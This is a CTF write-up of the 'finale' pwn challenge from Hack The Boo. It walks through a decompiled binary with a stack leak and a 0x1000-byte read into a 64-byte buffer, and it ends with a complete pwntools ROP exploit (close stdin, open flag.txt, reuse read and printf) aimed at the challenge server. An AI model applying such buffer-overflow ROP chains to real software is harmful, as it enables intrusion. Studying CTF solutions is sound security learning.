Details

This was the last pwn challenge given at the Hack The Boo CTF, organized by Hack the Box. This was a solo CTF where I solved 21/25 challenges and ended up in 112th place.

Description

It’s the end of the season and we all know that the Spooktober Spirit will grant a souvenir to everyone and make their wish come true! Wish you the best for the upcoming year!

Overview

In this challenge, we get a few files and a server hosting the challenge.

├── README.txt
├── finale
└── flag.txt

$ cat README.txt
Remote server is using a custom libc, trying to find the right libc is not intended. We suggest you avoid using techniques based on libc for this challenge.

Running checksec on the binary, I got

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

No PIE, no stack canary and non-executable stack makes me think that the challenge expects some form of return oriented programming (ROP).

I checked the code by decompiling the given file in Ghidra.

int main(void)
{
  int random_number;
  int compare_result;
  char user_input [16];
  char random_buffer [16];
  ulong counter;
  
  banner();
  random_buffer._0_8_ = 0;
  random_buffer._8_8_ = 0;
  random_number = open("/dev/urandom",0);
  read(random_number,random_buffer,8);
  printf("\n[Strange man in mask screams some nonsense]: %s\n\n",random_buffer);
  close(random_number);
  user_input._0_8_ = 0;
  user_input._8_8_ = 0;
  printf("[Strange man in mask]: In order to proceed, tell us the secret phrase: ");
  __isoc99_scanf("%16s",user_input);
  counter = 0;
  do {
    if (0xe < counter) {
loop:
      compare_result = strncmp(user_input,"s34s0nf1n4l3b00",0xf);
      if (compare_result == 0) {
        finale();
      }
      else {
        printf("%s\n[Strange man in mask]: Sorry, you are not allowed to enter here!\n\n",
               &color_char);
      }
      return 0;
    }
    if (user_input[counter] == '\n') {
      user_input[counter] = '\0';
      goto loop;
    }
    counter = counter + 1;
  } while( true );
}

The first part of the code seems useless, just printing the bytes of a random number as characters, so I took note of it.

The call to banner just prints a welcome interface for the user, nothing of interest here.

I noticed that entering the s34s0nf1n4l3b00 string will make the program enter the finale function and checked the flow of the program furtjer.

void finale(void)
{
  char user_input [64];
  
  printf("\n[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck : [%p]"
         ,user_input);
  printf("\n\n[Strange man in mask]: Now, tell us a wish for next year: ");
  fflush(stdin);
  fflush(stdout);
  read(0,user_input,0x1000);
  write(1,"\n[Strange man in mask]: That\'s a nice wish! Let the Spooktober Spirit be with you!\n\n ", 0x54);
  return;
}

This is a more interesting function for several reasons. First, it leaks the address of the stack with the %p specifier. It also reads a lot more data than it should (0x1000 bytes while only 64 available).

With these findings and the checksec output, I started building a ROP chain to open, read and write the contents of flag.txt, keeping in mind that libc is not part of the solution.

Used ROPgadget to find simple assignments.

ROPgadget output

At first, I tried to make a simple chain of open > read > write. But I couldn’t find an easy way to set the RDX register - it represents the third argument for libc functions and the number of bytes to be read by read. Looked through the executable sections of the binary for instructions that modify RDX and found 3 that might be useful:

  • RDX is set to 8 when reading from the random file
  • RDX is set to 15 when comparing the secret key
  • RDX is set to 0x1000 when reading from the user

I tested the start of my ROP chain using the first option, as it will also print the contents read without doing anything else. But it could only print the first 8 characters HTB{5345 Obviously, not good enough. The problem is that the program is closing the file right after printing, without any possibility of redirecting the flow (the GOT is not writable).

The second option doesn’t have an easy or quick return statement that can be manipulated.

The size of the third option would be perfect, but the code is the following

mov edx, 0x1000
mov rsi, rax
mov edi, 0x0
call external::read

The file descriptor to be read from is always set to 0 - STDIN.

At this point, I tried looking for open modes that might allow reading from the last location - nothing there. Tried making the ROP chain, hoping that the value of RDX will be a big number - always 0. Searched for a way to ignore the close file call - still nothing.

Then I remembered that open gives the lowest available file descriptor.

man 2 open
----------
The file descriptor returned by a successful call will be the lowest-numbered file descriptor not currently open for the process.

So I closed STDIN that used the file descriptor 0, then opened the flag.txt flag. Reused the finale function’s call to read to write the contents of the file on the stack, then jumped to the part of the code that was printing the random value.

The reading call was a bit trickier as it had a leave instruction before returning. This needed a valid stack frame that pointed to the next instruction on the chain. With a bit of basic math and counting, I fixed this issue.

Solution

from pwn import *
context.arch = 'amd64'

# From ROPgadget and disass
pop_rdi = 0x00000000004012d6
pop_rsi = 0x00000000004012d8
pop_rbp = 0x0000000000401404

open_fn = 0x004011c4
close_fn = 0x00401164
read_1000 = 0x00401460
write_final = 0x04014e5

io = remote("134.122.106.203", 30521)

io.recvuntil(b"secret phrase:")
io.sendline(b"s34s0nf1n4l3b00")

io.recvuntil(b" luck: [")
leak = int(io.recvuntil(b"]")[:-1],16)
io.recvuntil(b"next year: ")

print(hex(leak))

payload = b'flag.txt\x00'
payload += b"A"*(64-len(payload)) + p64(leak-0x100)
# close(0)
payload += p64(pop_rdi) + p64(0) + p64(close_fn)
# open('flag.txt') # fd = 0
payload += p64(pop_rdi) + p64(leak) + p64(pop_rsi) + p64(0) + p64(open_fn)
# read(0, rpb-0x40, 1000)
payload += p64(pop_rbp) + p64(leak+64+8*12) + p64(read_1000) + p64(leak+64+8*12-0x20)
# printf("... %s", rbp-0x20)
payload += p64(write_final)

io.sendline(payload)

io.interactive() # HTB{53450n_f1n4l3_w1th0ut_l1bc}